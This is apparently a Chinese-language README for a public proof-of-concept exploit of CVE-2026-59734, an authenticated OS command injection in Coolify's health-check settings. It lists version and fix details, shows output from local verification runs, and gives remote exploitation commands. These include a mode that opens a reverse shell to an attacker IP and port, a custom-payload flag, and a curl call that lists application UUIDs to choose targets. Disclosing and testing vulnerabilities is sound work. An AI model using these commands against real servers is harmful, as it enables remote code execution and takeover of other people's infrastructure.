┌──────────────────┬──────────────────────────────────────┐
│ CVE 编号         │ CVE-2026-59734                       │
│ 类型             │ OS 命令注入 (CWE-78)                  │
│ 严重性           │ 高 — CVSS 8.8                        │
│ 攻击向量         │ 网络 (已认证)                         │
│ 影响版本         │ Coolify <= v4.0.0-beta.460           │
│ 修复版本         │ Coolify >= v4.0.0-beta.469           │
│ 修复提交         │ 23f9156c7                            │
│ 报告者           │ CyberTechAjju                        │
└──────────────────┴──────────────────────────────────────┘

git clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh

# 运行安全的本地验证
./coolify_healthcheck_rce_poc.sh --local

═══ 本地漏洞模式验证 ═══

┌─ 测试 1：health_check_host 注入
│  ✅ 存在漏洞 — 注入命令成功执行

┌─ 测试 2：health_check_method 注入
│  ✅ 存在漏洞 — 方法参数也可注入

┌─ 测试 3：health_check_path 注入
│  ✅ 存在漏洞 — 路径参数也可注入

┌─ 测试 4：验证 escapeshellarg() 是否修复问题
│  ✅ 安全 — 清理后的输入阻止了注入

# 基本 PoC — 在容器内写入证据文件
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID

# 反弹 Shell
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID \
  --lhost YOUR_IP \
  --lport 4444

# 自动清理（利用后恢复原始配置）
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID \
  --cleanup

用法：

  本地验证（安全，离线）：
    ./coolify_healthcheck_rce_poc.sh --local

  远程利用（需要认证）：
    ./coolify_healthcheck_rce_poc.sh --remote --url <URL> --token <TOKEN> --uuid <UUID> [选项]

选项：
  --url       Coolify 实例 URL（例如 https://coolify.example.com）
  --token     API Bearer 令牌
  --uuid      目标应用 UUID
  --payload   自定义注入 payload
  --lhost     反弹 Shell 的攻击者 IP
  --lport     反弹 Shell 的攻击者端口（默认：4444）
  --cleanup   利用后恢复原始配置

curl -s https://YOUR-COOLIFY/api/v1/applications \
  -H "Authorization: Bearer YOUR_TOKEN" | jq '.[].uuid'